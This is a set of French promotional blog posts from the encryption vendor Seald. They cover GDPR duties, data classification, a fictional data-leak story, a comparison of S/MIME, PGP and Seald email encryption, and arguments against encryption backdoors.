Concrètement, les articles 33 et 34 stipulent qu’en cas de fuite de données, vous êtes dans l’obligation de le notifier aux personnes concernées ainsi qu’aux autorités de contrôle compétentes dans un délai de 72h après en avoir pris connaissance, à moins que la violation « ne soit pas susceptible d'engendrer un risque pour les droits et libertés des personnes physiques ».

L’article 34 précise que la communication à la personne concernée n'est pas nécessaire si « le responsable du traitement a mis en œuvre les mesures de protection […] qui rendent les données à caractère personnel incompréhensibles pour toute personne qui n'est pas autorisée à y avoir accès, telles que le chiffrement des données. »

Combien de temps puis-je conserver les données personnelles de mes clients ?

La durée de conservation des données personnelles doit être définie en fonction de l’objet de leur traitement. Une fois dépassée, les données doivent être archivées, supprimées ou anonymisées. La CNIL recommande par exemple que «les données d’un prospect qui ne répond plus à aucune sollicitation soient supprimées au bout de 3 ans. »

Quels sont les droits des utilisateurs sur leurs données ?

Les utilisateurs doivent être en mesure de consulter les données que vous possédez sur eux s’ils en font la demande. Vous devez donc leur fournir un moyen simple de les télécharger.

Les utilisateurs ont le droit à la rectification ou à la suppression de leurs données et doivent donc pouvoir le faire facilement depuis votre site.

Les utilisateurs peuvent s’opposer à la récolte, au traitement et la diffusion de leurs données.

Quels documents sont nécessaires pour prouver sa conformité ?

Le RGPD repose également sur un principe de preuve : en cas de contrôle, la CNIL doit pouvoir accéder facilement aux informations permettant d’identifier la façon dont vous traitez les données personnelles.

Le document qui fera foi en cas de contrôle est le registre des activités de traitement. Il devra comprendre les éléments suivants :

• Les parties prenantes (représentants, sous-traitants, co-responsables, etc.) qui interviennent dans le traitement des données ;
• Les catégories de données traitées ;
• À quoi servent ces données (ce que vous en faites), qui accède aux données et à qui elles sont communiquées ;
• Combien de temps les conserver ;
• Comment elles sont sécurisées.

Pour aller plus loin, nous vous conseillons le très bon MOOC élaboré par les juristes et experts de la CNIL.

Pour une check-list rapide sur la conformité au RGPD, consultez notre article dédié au RGPD pour les nuls.

Better Seald than sorry.

Découvrez Seald !

Lorsque l’on parle de classification de l’information, on se réfère, la plupart du temps, à un triptyque « DIC », en clair :

• Disponibilité
• Intégrité
• Confidentialité

Pour les transactions financières, on retrouvera également un critère de preuve (ou Traçabilité).

Le concept de confidentialité

De ces critères, le concept de confidentialité est celui qui est le plus sujet à débat. Ce qui rend ce concept si épineux, c’est la subjectivité de sa définition. En effet, il n’y a pas d’information confidentielle par nature : le degré de confidentialité de l’information dépend uniquement de celui qui la détient. De plus, ce qui est confidentiel aujourd’hui ne le sera peut-être pas demain.

Puisque ce concept est subjectif, il variera d’une organisation à l’autre. Vous serez finalement le meilleur juge pour savoir ce que « confidentiel » signifie pour vous.

Classifier vos données en 9 questions

1.    Quel sera le champ d’application du projet de classification des informations ?

Le premier pas dans la mise en place d’une stratégie de classification des données est de définir une feuille de route et déterminer un périmètre d'action (quels types de données vont être classifiés, quelles entités vont être concernées et comment vous allez communiquer sur le projet). La mise en place de ces processus vous permettra de gagner un temps considérable dans l’identification des informations à classifier.

2.    Qui est le propriétaire de l’information ?

Identifiez le propriétaire de l’information, il en est le responsable et sera donc le mieux placé pour pouvoir identifier d’autres informations sensibles sous sa responsabilité. À ce niveau, vous fier à lui restera le meilleur moyen d’avoir des résultats.

3.    Quel est le cycle de vie de l’information ?

L’identification du cycle de vie de l’information que vous souhaitez classifier est essentielle puisqu’elle va vous permettre de définir son degré de sensibilité dans le temps et d’alléger les processus de protections qui l’entourent.

4.    Quels seraient les impacts juridiques/opérationnels/financiers si l’information fuitait ?

Cette étape vous permet d’entrer dans la gestion de risques cyber et doit être la plus détaillée possible : c’est la première pierre à l’édifice de la classification de votre information.

" L’avantage de travailler avec des documents protégés avec Seald est que dans le cas d'une fuite de données (piratage d’email, fuite du cloud, employé qui perd une clé USB, …), les fichiers compromis ne pourront pas être ouverts par des personnes non autorisées. "  Dan Lousqui - Expert en cybersécurité

5.    Quels sont les risques pour mon organisation ?

En lien avec l’étape précédente, cette phase vous permet de définir un niveau de probabilité de l’impact. Rappelez-vous, le risque est l’association entre la probabilité qu’un événement survienne et son impact. En définissant la probabilité, vous pourrez décider si vous acceptez ce risque ou si vous souhaitez le réduire.

6.    Quel niveau de confidentialité appliquer ?

En règle générale, on retrouve 3 degrés de confidentialité en entreprise (confidentiel, interne, public). En 2013, le Conseil européen a défini 4 standards - en français s’il vous plait - à destination des États membres. Pourquoi sommes-nous en train de vous parler des systèmes de classification des États dans un article sur la confidentialité en entreprise ? La raison est simple : les États ont passé plusieurs siècles à définir des niveaux de classification. Autant donc bénéficier de leur expertise sur le sujet :

TRÈS SECRET : informations et matériels dont la divulgation non autorisée pourrait causer une atteinte exceptionnellement grave aux intérêts essentiels de l'Union européenne ou d'un ou de plusieurs des États membres.

SECRET : informations et matériels dont la divulgation non autorisée pourrait sérieusement porter atteinte aux intérêts essentiels de l'Union européenne ou d'un ou plusieurs de ses États membres ;

CONFIDENTIEL : informations et matériels dont la divulgation non autorisée pourrait porter atteinte aux intérêts essentiels de l'Union européenne ou d'un ou de plusieurs des États membres ;

RESTREINT : informations et matériels dont la divulgation non autorisée pourrait être défavorable aux intérêts de l'Union européenne ou d'un ou de plusieurs des États membres.

En tant qu’entreprise,  tous ces niveaux ne vous seront pas essentiels; aussi il pourra être pertinent d’intégrer des niveaux de confidentialité internes. Par exemple, les données financières n’ont pas besoin d’être accessibles aux équipes Sales. Quoi qu’il en soit, nous vous recommandons de ne pas dépasser 4 niveaux de confidentialité pour ne pas alourdir un processus astreignant à maintenir.

7.    Quelles sont les mesures de sécurité à mettre en place ?

Classifier vos données n’est évidemment pas suffisant pour les protéger. À ce stade, vous devez être en mesure d’identifier quelles sont celles qui mériteront une protection particulière. Vous devez maintenant déterminer quelles mesures de sécurité appliquer. Les solutions sont aujourd’hui de plus en plus abouties et peuvent répondre à des besoins, d’authentification, de chiffrement et de traçabilité de vos informations.

8.    Comment m’assurer que ces mesures de sécurité soient respectées en interne ?

Le non-respect des politiques de classification des données fait partie des lacunes de nombreuses organisations.

Plusieurs raisons en sont à l’origine dont un manque de sensibilisation des équipes et une mauvaise classification de l’information à l’origine.

Dans un article de 2018, le cabinet Wavestone expliquait qu’environ 1 % des informations d’une organisation avaient un degré de confidentialité d’importance vitale, or il n’est pas rare de voir plus de 10 % des informations élevées à ce rang ! Enfin, un grand nombre de politiques de classification ne sont pas efficaces, car les solutions existantes affectent trop négativement les processus internes. C’était encore récemment le cas des solutions de chiffrement.

9.    Les mesures prises sont-elles toujours adaptées ?

En matière de cybersécurité, le panorama des menaces, comme des solutions de protection est en perpétuelle évolution, il est donc essentiel d’être dans une logique d’amélioration continue et de vérifier que les solutions utilisées pour protéger vos données ne sont pas obsolètes.

Enfin, sachez que la classification de vos informations s’inscrit pleinement dans un projet de mise en conformité au RGPD.

Better Seald than sorry.

Découvrez Seald !

Les entreprises prennent conscience que la sécurité des échanges et des informations doit être au centre de leurs systèmes.

Ce billet présente une fiction illustrant de façon réaliste un scénario d’une entreprise faisant face à une crise liée à un tel risque.

(Note : Les personnages et les situations de ce récit étant purement fictifs, toute ressemblance avec des personnes ou des situations existantes ou ayant existé ne saurait être que fortuite… ou pas ?)

Présentation : avant la fuite de données

George Van Brugel est à la tête d’une entreprise Belge, Les films du plat pays, produisant des films pour le cinéma. L’entreprise se porte bien, et a effectué sa transition numérique. François Pignon, responsable du parc informatique de l’entreprise, en est ravi. Grâce au budget débloqué dans cette transition, il a pu installer de nombreux outils de collaboration, permettant à chaque collaborateur de travailler dans un environnement à la pointe de la technologie :

• Partage de fichiers dans le cloud ;
• Centralisation des emails et des échanges, gérée par un des géants de l’Internet ;
• Gestion centralisée du parc informatique et gestion électronique des documents ;
• Le site Internet de l’entreprise est fait avec des technologies permettant un référencement très avantageux sur les moteurs de recherche.

Ces nouveautés sont telles que l’innovation numérique est désormais dans les gènes de l’entreprise. Ainsi François Pignon a été intégré au Comité Exécutif de l’entreprise.

Une découverte incongrue : la fuite de données

George Van Brugel, le PDG de l’entreprise, n’est pas informaticien, mais comme tout le monde, il s’est mis à l’outil informatique. Par curiosité, il tape son nom sur son moteur de recherche favori, et tombe sur un fichier pour le moins surprenant. Ce fichier est nommé Les films du plat pays — ComEx 2018 — Compte rendu et budget.docx, et est hébergé sur un site nommé free-anonymous-upload.com.

Ce fichier étant hautement confidentiel, George Van Brugel est intrigué que ce fichier soit disponible sur Internet et appelle directement François Pignon pour savoir d’où cela peut provenir.

François Pignon ne sait que répondre à son patron. Ce fichier n’est pas censé être disponible à tous sur Internet. François est en train de vivre sa première fuite de données.

Pire que ça, de nombreuses questions trottent dans l’esprit de François :

• Comment ce fichier a-t-il pu sortir de l’enceinte de l’entreprise ?
• D’autres fichiers sont-ils affectés ?
• L’entreprise s’est-elle faite hacker ?
• A-t-il une part de responsabilité ?
• Son poste est-il en jeu ?

François Pignon a besoin d’aide, il ne peut résoudre seul cette crise. Il va donc faire appel à un cabinet spécialisé en cybersécurité afin de l’aider à résoudre ce problème.

Et là, c’est le drame

François Pignon a demandé l’aide du cabinet JustWhite Security, expert dans le domaine depuis plus de 20 ans. Leur prestation coûte très cher, mais l’enjeu et les inconnues liés à cette crise sont tels, qu’il a pu débloquer le budget rapidement.

Lucien Cheval, expert en cybersécurité, arrive le jour même, et travaille avec François Pignon afin de faire le point. Lucien explique qu’il va devoir auditer tout le parc informatique de l’entreprise, afin de voir si une éventuelle faille de sécurité est présente, et analyser d’où cela peut venir.

Deux semaines s’écoulent, et François Pignon reçoit enfin le rapport d’audit de sécurité de JustWhite Security. L’auditeur n’a pu donner la source exacte de la fuite, mais a cependant relevé de nombreuses sources plausibles qui peuvent être autant de cybermenaces.

• Plusieurs employés de l’entreprise sont inscrits, à titre personnel, sur des sites qui se sont fait pirater. Sur ces sites, ils avaient le même mot de passe que leur mot de passe d’entreprise. Des pirates ont pu craquer ces mots de passe, et se connecter à l’espace Cloud de l’entreprise ;
• Certains employés (même haut placés) utilisent leur téléphone personnel pour lire des emails professionnels. On ne sait pas ce qui peut se passer avec de tels usages ;
• La société de Cloud utilisée a subi une attaque récemment, il est possible que les données proviennent de cette attaque.

Plus grave encore, Lucien a effectué une recherche plus approfondie sur le Dark Net, une partie cachée de l’Internet, et c’est tous les documents internes de l’entreprise, incluant :

• Fichier des salaires des employés ;
• Échanges d’emails entre les managers de l’entreprise ;
• Liste des clients ;
• Réponses à appels d’offre ;

qui ont pu être récupérés. De plus, ces fichiers sont présents depuis plusieurs mois, et personne dans l’entreprise n’était au courant !

Blême, François Pignon demande au cabinet en cybersécurité ce qu’ils peuvent faire, et le bilan est dramatique :

• Suite au dispositif RGPD, l’ensemble des personnes affectées doivent être notifiées de l’incident ;
• Une fermeture immédiate des outils SI affectés doit être effectuée, en attendant d’avoir réglé les problèmes de sécurité ;
• Des mesures préventives telles que le chiffrement des données doivent être mises en place.

“Des mesures préventives ?”, demande François Pignon aux experts cyber sécurité, “Qu’est-ce ?”

“M. Pignon,”, répond Lucien Cheval du cabinet expert, “Il n’est malheureusement jamais possible de se protéger contre toutes les attaques informatiques. Cependant, il est possible, en cas de fuite de données, de limiter les dégâts, et de faire en sorte que les personnes malveillantes ne puissent rien faire des données volées.”

Que se serait-il passé, si l’entreprise avait Seald ?

Seald est une solution de sécurisation des données par le chiffrement (procédé cryptographique). Elle permet donc, principalement, de se prémunir contre le risque de fuite des données ou de vol de données telles que des documents ou des emails...

De plus, le format propriétaire sécurisé de Seald permet, en cas de tentative d’ouverture de fichier (notamment lors d’une fuite de données), de détecter l’événement, et d’être pro-actif sur les résolutions d’incidents.

Analysons ce qui se passerait si le scénario précédent était arrivé à une entreprise équipée de Seald pour assurer la sécurité de ses données.

Dans l’ombre, une fuite de donnée se produit

Imaginons qu’une fuite se produise. La plupart des fuites se font dans l’ombre, et il faut plusieurs semaines, mois ou années (voire jamais) à une entreprise pour se rendre compte qu’elle est victime d’une attaque. Cependant, les fichiers (documents et emails) protégés avec Seald sont au format .shtml.

Si l’attaquant ne possède pas Seald, ces fichiers s’ouvriront dans son navigateur. Un script JavaScript incorporé dans ce fichier envoie, à l’ouverture, une requête vers les services Seald.

Si l’attaquant possède Seald, à la tentative d’ouverture avec l’application Seald, et une requête similaire sera également envoyée au service Seald.

Cette tentative d’ouverture ne pourra aboutir à une lecture effective du document, et sera remontée dans les informations disponibles sur le tableau d’administration Seald. Il est donc possible de détecter une fuite. De plus, ces remontées d’événements peuvent également contenir des informations supplémentaires permettant d’engager des investigations sur la fuite d’information.

Des personnes malveillantes ont des données

Comme l’explique Lucien Cheval, il n’est pas possible d’avoir un système infaillible. Donc que faire pour se protéger une fois que l’on sait que nos données ont fuité ?

Grace à Seald, vous pouvez protéger vos documents et utiliser la version protégée comme document de travail. Ainsi, en cas de fuite de données, les attaquants ne pourront récupérer que des fichiers protégés (donc inaccessibles).

L’avantage de travailler avec des documents protégés avec Seald est qu’en cas de fuite (piratage d’email, fuite du cloud, employé qui perd une clé USB…), les fichiers compromis ne pourront pas être ouverts par des personnes non autorisées. En effet, pour ouvrir un document protégé, il faut :

• Une clé cryptographique, installée lors de la mise en place du logiciel Seald ;
• Le fichier Seald à ouvrir ;
• Que la clé cryptographique soit autorisée à ouvrir le fichier.

La clé cryptographique ne sort jamais de l’ordinateur qui l’a générée. Elle est donc moins exposée aux fuites que les emails et documents de travail, dont l’échange (privé) est nécessaire à la collaboration. Cela permet à Seald de garantir qu’en cas de fuite des documents de travail, les données restent protégées et les accès sont contrôlés.

Un ordinateur est compromis

Cependant, malgré toutes les mesures que nous avons mises en place, l’adage de Lucien Cheval sur l’impossibilité d’obtenir une sécurité totale s’applique également à la clé cryptographique de Seald. Il existe de rares cas dans lesquels la clé cryptographique peut être considérée comme compromise, par exemple :

• Si un ordinateur, avec une session ouverte, se fait voler ;
• Si un poste est infecté par un virus très avancé, pouvant récupérer la clé cryptographique de l’ordinateur.

Dans ces cas, une mesure est mise à disposition de l’équipe informatique pour cloisonner l’incident.

Comme expliqué précédemment, chaque appareil possède sa propre clé cryptographique, et cette clé doit être autorisée pour ouvrir des fichiers. La technologie Seald est conçue de manière à ce que cette permission soit faite en ligne. Cela permet, même après avoir envoyé un document, de modifier les droits de lecture de ce document et d’assurer après l’envoi la sécurité du réseau.

Ainsi, en cas de compromission d’un appareil, il est possible de révoquer l’accès à tous les documents accessibles par l’appareil compromis. Il est donc possible de réagir et de minimiser les dégâts en cas de cyberattaque.

Conclusion

Évidemment, même si cette histoire reste de la fiction, si l’entreprise Les films du plat pays était équipée de Seald, François Pignon aurait passé cette crise de façon beaucoup plus sereine. Cependant, nous sommes, à l’heure de la rédaction de ce billet, en 2019, et des fuites arrivent tous les jours ! Environ 18.5 millions de documents par jour, et seulement 3 % de ces données sont chiffrées (Source : BreachLevelIndex pour 2018).

Des solutions existent, mais sont souvent contraignantes (destinées à des techniciens, incompatibles avec certains cas d’usage, compliquées à mettre en place…). C’est pourquoi chez Seald, nous nous sommes efforcés de créer un produit :

• Sécurisé ;
• Simple et à la portée de tous ;
• Ne nécessitant pas d’action lourde, ou engendrant une friction à l’usage, pour des personnes n’ayant pas l’application.

Si ces enjeux vous tiennent à cœur, nous serions ravis de vous faire une démonstration de notre solution, et de vous montrer ce qu’elle pourrait vous apporter.

Better Seald than sorry.

Découvrez Seald !

S/MIME et PGP sont les solutions les plus classiques pour recourir au chiffrement des données au niveau des emails. La solution Seald est (pour le moment) moins populaire. Nous n’aborderons pas le sujet des utilisations / expériences utilisateur des différentes implémentations des protocoles, le but de cet article étant principalement d’expliquer les différences des protocoles, en détaillant leurs fonctionnements, leurs avantages et leurs inconvénients.

S/MIME, PGP, Seald… Chiffrer un email, comment faire ?

(Cette partie est une vulgarisation de la cryptographie, je prends volontairement certains raccourcis).

En cryptographie, il y a principalement deux méthodes de chiffrement : le chiffrement symétrique et asymétrique. Pour faire simple :

• avec le chiffrement symétrique, la même “clé de chiffrement” permet de chiffrer et de déchiffrer un message ;
• avec le chiffrement asymétrique, une “clé publique” permet de chiffrer un message, une “clé privée” permet de le déchiffrer.

S/MIME, PGP et Seald utilisent la cryptographie symétrique pour protéger le message, et la cryptographie asymétrique pour protéger la “clé” (symétrique) de déchiffrement du message.

Chiffrer un message

De façon plus détaillée, le chiffrement d’un message d’Alice pour Bob fonctionne ainsi :

• Alice possède un message en clair qu’elle souhaite envoyer à Bob (ClearMessage) ;
• Alice va générer une clé symétrique (MessageKey) ;
• Alice va chiffrer le message à l’aide de la clé symétrique (ProtectedMessage) ;
• Alice va chiffrer la MessageKey avec la clé publique de Bob (EncryptedMessageKey).

Pour envoyer son message de façon sécurisée, Alice transmet le ProtectedMessage et l'EncryptedMessageKey à Bob. Précisons qu'on parle bien de chiffrer un email ou un document et non de "crypter" un fichier, le terme étant impropre.

Déchiffrer un message

De la même façon, le déchiffrement d’un message par Bob se fera ainsi :

• Bob va déchiffrer l’EncryptedMessageKey à l'aide de sa clé privée (MessageKey) ;
• Bob va déchiffrer le ProtectedMessage à l'aide de la MessageKey(ClearMessage).

Et… c’est tout ? Pourquoi tant de chichis ?

Et oui ! Sur ces aspects,S/MIME, PGP et Seald ne diffèrent pas, ça fonctionne bien, c’est sécurisé, et il n’y a pas grand-chose à améliorer (Non, cet article n’est pas sur la crypto post-quantique). Par contre, il y a deux éléments clés qui n’ont pas été abordés :

• Comment Alice transmet l’EncryptedMessageKey et le ProtectedMessage à Bob ?
• Comment Alice récupère la clé publique de Bob ?

C’est exactement sur ces sujets que PGP, S/MIME et Seald se différencient !

Transmission de l’EncryptedMessageKey et du ProtectedMessage

PGP et S/MIME

Sur ce sujet-là S/MIME et PGP ont fait le même choix, l’EncryptedMessageKey et le ProtectedMessage sont tous les deux envoyés sur le même support, c'est-à-dire l'email.

Cela à un avantage certain, tout est au même endroit, et il suffit uniquement d’avoir l’email protégé et la clé privée pour le déchiffrer. Cependant, cela apporte quelques désavantages :

• Si la clé privée est compromise, le message est toujours déchiffrable (même si la clé est révoquée !) ;
• Si le message doit être envoyé à 10 000 destinataires, il faut créer 10 000 EncryptedMessageKey, cela augmente considérablement la taille du message à envoyer ;
• Si le destinataire à plusieurs appareils (deux ordinateurs, un smartphone, …), chaque appareil possède sa propre paire de clé publique/privée (il est très mauvais de faire transiter une clé privée d’un poste à un autre). Ainsi si un destinataire fait l’acquisition d’un nouvel équipement, la clé de ce dernier ne pourra pas déchiffrer d’anciens messages, car ceux-ci ne contiendront pas d’EncryptedMessageKey destinée au nouvel appareil.

Seald

Afin de répondre à ces problématiques, Seald a fait le choix de transmettre l’EncryptedMessageKey sur un autre canal : le serveur Seald.

Cela n’a aucun impact sur la sécurité du message, car sans la clé privée, l’EncryptedMessageKey ne sert à rien. Seald n'ayant à aucun moment la clé privée des utilisateurs, cela ne met pas en danger la MessageKey. Ainsi, pour récupérer l'EncryptedMessageKey, le destinataire devra faire une requête (authentifiée) vers les serveurs de Seald, cela engendre de nombreux avantages :

• Il est possible de révoquer l’accès à un message, même après son envoi. Pour cela, il suffit de supprimer la (ou les) EncryptedMessageKey correspondant sur le serveur Seald, même après envoi du message ;
• Il est possible d’ajouter des destinataires au message après son envoi. Pour cela, il suffit d’ajouter une (ou des) EncryptedMessageKey sur le serveur Seald ;
• Si un destinataire fait l’acquisition d’un nouvel appareil, il est possible d’ajouter une EncryptedMessageKey permettant au nouvel appareil de lire les anciens messages ;
• Il est possible de journaliser toutes les tentatives d’ouverture (succès ou échec) des messages, permettant (par exemple) l’intégration de nouvelles informations dans un SIEM.

Récupération de la clé publique

PGP

PGP est simpliste, mais pas efficace : pour récupérer la clé publique de quelqu’un, il faut que celui-ci vous la transmette. Cela peut se faire par email (mais du coup, cet échange ne sera pas sécurisé) ou par un serveur annuaire. Cette étape est un des talons d’Achile de PGP, ayant pour conséquence d’avoir créé la naissance de “cryptoparty”. Ce n’est clairement pas une solution pérenne dans la vie de tous les jours. (À noter que l’initiative de Keybase pour “lier” des identités numériques sur les réseaux sociaux à une clé PGP est la meilleure alternative à ce jour, selon moi).

S/MIME

S/MIME se base sur le format de certificats numériques X.509. En outre, la clé publique d’un utilisateur est encapsulée dans un certificat, c’est-à-dire qu’elle est signée par une “autorité de certification” à laquelle l’utilisateur doit avoir confiance. C’est le même fonctionnement que pour le protocole TLS (utilisé par HTTPS). Cela permet d’avoir une certaine garantie que la clé publique utilisée pour chiffrer un message est bien la bonne, et qu’aucun intermédiaire malveillant n’a usurpé l’identité de quiconque lors de l’échange de clés. Néanmoins, la récupération initiale de la clé d’un destinataire peut être pénible, mais reste sécurisée.

Seald

Dans le cas de PGP et S/MIME, un problème réside dans le fait qu’il est compliqué de récupérer une clé publique et d’être tenu à jour des “changements” dans les jeux de clés des utilisateurs. Certes, des protocoles existent pour détecter une révocation de clé, mais cela reste rare. Le scénario le plus fréquent étant la perte d’une ancienne clé, pour en créer une nouvelle.

Seald héberge l’ensemble des clés publiques de ses utilisateurs sur ses serveurs sécurisés. Une identité Seald est associée à plusieurs clés publiques (généralement une par équipement). Chaque clé publique est horodatée, et doit être signée par une clé déjà présente sur un compte (cela est régi par ce que l’on appelle la SigChain, un autre article pourra être dédié à l’explication de ce mécanisme). Ainsi il est impossible, à quelqu’un d’autre que l’utilisateur, d’ajouter arbitrairement une nouvelle clé à un compte. À partir de l’email de quelqu’un, il est possible de récupérer son identité Seald ainsi que la liste de ses clés publiques.

Ce mécanisme ne nécessite aucun échange avec le destinataire, les clés publiques peuvent donc être récupérées de façon complètement automatique et transparente. De plus, l’opération peut être réalisée à chaque chiffrement de message, permettant de mettre ces données en cache afin de détecter tous mouvements de clés d’un utilisateur.

Conclusion

Sans trop de surprise, vous vous êtes sans doute rendu compte que j’ai mis Seald en avant face à ses concurrents. En effet, de nombreux avantages sont présents dans Seald qui offre la possibilité de :

• révoquer des messages post-envoi ;
• journaliser les accès aux messages ;
• lire des messages sur plusieurs équipements, sans copier de clés privées ;
• échanger et mettre à jour les clés de ses contacts automatiquement.

Better Seald than sorry.

Découvrez Seald !

Cette réponse implique que seules les personnes ayant des secrets ou pratiquant des activités illégales, sont susceptibles d’être intéressées par le chiffrement. Êtes-vous sûr que ce soit le bon raisonnement ?

Essayez de demander à ces personnes qui n’ont rien à cacher de vous donner leur code de carte bleue ou leurs mots de passe sur Internet, ils comprennent soudainement l’intérêt du chiffrement comme un garant de leur confidentialité.

Aujourd’hui, le chiffrement est utilisé aussi bien dans le domaine professionnel que dans le domaine privé. Elle est déjà indispensable pour un bon nombre d’entre nous, mais doit aller plus loin : des outils de chiffrement simples à utiliser sont une étape nécessaire pour sécuriser complètement notre vie sur internet.

Qu’il s’agisse du chiffrement d’emails ou de fichiers, de la question du chiffrement des applications Cloud ou de la sécurisation de votre réseau informatique professionnel, le chiffrement des données se retrouve partout pour protéger vos informations d’éventuelles cyberattaques.

Le chiffrement des données, un outil incroyablement puissant !

L’armée a commencé à utiliser le chiffrement des données pour empêcher les ennemis de comprendre les communications en cas d’interception. En réalité, le chiffrement est le descendant des codes et autres messages secrets utilisés depuis des siècles.

Ensuite, le chiffrement de données s’est étendu aux domaines professionnels, par exemple dans des entreprises avec une forte composante industrielle ou scientifique voulant se protéger de l’espionnage industriel.

Depuis la seconde guerre mondiale, les besoins en chiffrement ont explosé. Ses applications civiles sont maintenant très nombreuses, avec des outils relativement faciles d’utilisation qui se sont démocratisés progressivement, par exemple le protocole PGP pour le chiffrement des emails.

Vous l’utilisez tous les jours !

Entrer un code PIN ou un mot de passe sur internet ou dans un distributeur, utilise déjà du chiffrement. Petit à petit, elle a envahi notre quotidien, mais de manière transparente et facile d’usage.

Lorsqu’une carte de crédit est insérée dans un distributeur ou un terminal de paiement, de nombreuses vérifications de données chiffrées sont effectuées : notamment pour vérifier que vous avez entré le bon code, que le numéro de carte correspond bien à votre compte, etc. Tout cela pour valider un paiement ou un retrait 🤑.

Il est très pratique de pouvoir acheter en ligne. Nous le faisons tous car la plupart du temps, le processus de paiement est sécurisé. Lorsque vous communiquez vos mots de passe, votre numéro de carte ou toute autre donnée sensible, ils ne doivent pas passer en clair (non chiffrés) sur le service que vous utilisez.

Vous ne voulez pas que votre numéro de carte soit transmis à tout le monde et qu’il soit utilisé pour dépenser votre argent, moi non plus ! Sans aller jusqu’à supposer une malveillance potentielle du service auquel vous avez recours, il est difficile de s’assurer que ces informations seraient stockées sur des serveurs sécurisés. C’est pourquoi il est préférable de recourir dès l’envoi des informations au chiffrement, qui assure la sécurité du processus.

“Dire que vous ne vous souciez pas du droit à la confidentialité parce que vous n’avez rien à cacher revient au même que de dire que vous ne vous souciez pas de la liberté d’expression parce que vous n’avez rien à dire.” Edward Snowden

Ce n’est pas automatique partout.

Qu’en est-il de vos conversations quotidiennes ? De tous vos e-mails ? Que dire des solutions de chiffrement du cloud offerts par les plateformes ?

Faites-moi confiance, vous n’êtes pas en sécurité… Il est très facile d’avoir accès à tout cela (keylogger, phishing, utiliser le mot de passe que vous avez écrit sur un papier, …), de lire toutes vos conversations et d’utiliser vos données privées.

Comment est-il possible de vous en protéger ?

C’est la question que nous essayons de régler avec Seald. Seald permet de sécuriser, contrôler et suivre les fichiers/emails. Grâce au chiffrement de bout en bout, seuls les destinataires choisis seront capables de déchiffrer et lire les fichiers que vous sécurisez.

Notre technologie est simple d’utilisation, avec des actions automatisables, une alternative aux logiciels présents sur le marché, comme les CASB pour reprendre le cas du chiffrement en Cloud, difficiles à prendre en main.

Comment marche le chiffrement des données ?

Pour mieux comprendre l’utilité du chiffrement des données, voyons rapidement son fonctionnement. Il ne s’agit pas ici de détailler les différentes méthodes utilisées par Seald ou par d’autres outils de chiffrement. Nous vous renvoyons par exemple à notre article sur les différences entre S/MIME, PGP et Seald sur le chiffrement des emails pour plus de détails.

De façon générale, l’idée du chiffrement est d’intercaler un service entre l’expéditeur et le destinataire d'un message, que ceux-ci soient deux personnes qui s’envoient un email, une personne et un serveur de stockage de fichier, ou encore deux outils automatisés de traitement des informations, par exemple. Dans tous ces cas, Seald ou le service de chiffrement utilisé va « crypter le fichier » (le terme correct est celui de chiffrement) pour le rendre illisible à toute personne non autorisée. En pratique, une personne autorisée est celle qui détient une clé, publique ou privée, qui correspond avec celle utilisée pour le chiffrement.

En effet, le chiffrement des données repose sur l’utilisation de clés de chiffrement qui permettent de « coder » et « décoder » un texte ou un message. S’il en existe plusieurs sortes, retenons simplement ici que c’est la gestion de ces clés de chiffrement qui permet de garantir l’authentification de l’expéditeur comme du destinataire et donc de s’assurer que c’est bien la bonne personne qui a accès aux bonnes informations.

Vous l’avez compris, les utilisations du chiffrement des données sont nombreuses et interviennent dans tous les domaines de votre vie informatique, que vous soyez un particulier ou une entreprise. L’augmentation de plus en plus rapide du nombre d’attaques informatiques et de leur coût pour les structures rend désormais indispensable une protection à la hauteur des enjeux.

Better Seald than sorry.

Découvrez Seald avec votre équipe !

Certains politiques, dont M. Cazeneuve, demandent contre l’avis unanime des experts que chaque message transmis sur Internet soit lisible par les États. Cela me désespère de lire de telles propositions de la part des gouvernements vis-à-vis du chiffrement de données.

Beaucoup de services mettent désormais en place des moyens cryptographiques (c’est-à-dire de chiffrement) pour s’assurer que seuls l’expéditeur et les destinataires d’un message soient en mesure de le lire. Cela revient grossièrement à mettre chaque message dans un coffre-fort, et que seuls les destinataires aient la clé. La majeure différence avec un véritable coffre-fort (que l’on peut découper à la disqueuse et qui protège un bien physique) est qu’un message chiffré peut être dupliqué sans que personne ne le sache, et donc si un coup de disqueuse permettait de le décrypter, n’importe qui d’un peu doué (ou doté d’un bon tutoriel) pourrait dérober les données confidentielles sans que personne ne s’en aperçoive. L’astuce de la cryptographie consiste à rendre ce coffre-fort virtuel quasi inviolable par la complexité mathématique du problème, c’est-à-dire de faire en sorte que ce soit tellement difficile de calculer la clé que la puissance de calcul requise dépasse ce que l’ensemble des ordinateurs sur Terre combinés sont capables de le faire.

Les solutions possibles

Maintenant que nous avons vulgarisé ce que représente la cryptographie, déchiffrons la demande de ces politiques, qui naïvement peut paraître intelligente : donner une disqueuse à l’État. Analysons comment cela pourrait être réalisé :

• interdire purement et simplement le chiffrement ;
• forcer les fournisseurs de messageries à être capables de lire les messages (c’est-à-dire interdire le chiffrement de bout en bout) ;
• donner des copies des clés à l’État (à l’image d’un passe-partout) ;
• affaiblir les algorithmes pour qu’ils aient une faille connue de l’État seulement.

La première solution n’est pas acceptable, cela revient à donner le contenu de ses messages à n’importe qui. Ce qui est équivalent à ce que tous vos échanges privés soient postés sur Twitter et accessible à tous.

Les deux suivantes reviennent à faire ce qu’on appelle un single point of failure : le fournisseur ou l’État. Si l’un d’eux était compromis ou piraté, cela mettrait en danger l’ensemble des utilisateurs : cela revient à se peindre une cible sur la tête, et on sait que tout système informatique comporte des failles, autant ne pas faciliter le travail. Les solutions 2 et 3 reviennent donc à la solution 1, qui rappelons-le n’est pas acceptable.

La quatrième est absurde puisque les algorithmes sont connus publiquement. S’ils comportaient des failles intrinsèques, elles finiraient par être découvertes et donc exploitables par n’importe qui, et cela reviendrait également à la proposition 1 qui demeure inacceptable.

Enfin, même s’il était possible de fabriquer un moyen inviolable permettant à l’État de tout lire sans faille et sur mandat de juge, il suffirait à des criminels de se détourner des messageries légales pour aller vers des messageries illégales, mais sans failles qui existent déjà. Je ne crois pas que de commettre un délit supplémentaire les gêne énormément…

Je vais conclure sur une citation de Philip Zimmermann (acteur majeur de la cryptographie) :

"If privacy were outlawed, only outlaws would have privacy." P. Zimmermann.

Better Seald than sorry.

Découvrez Seald avec votre équipe !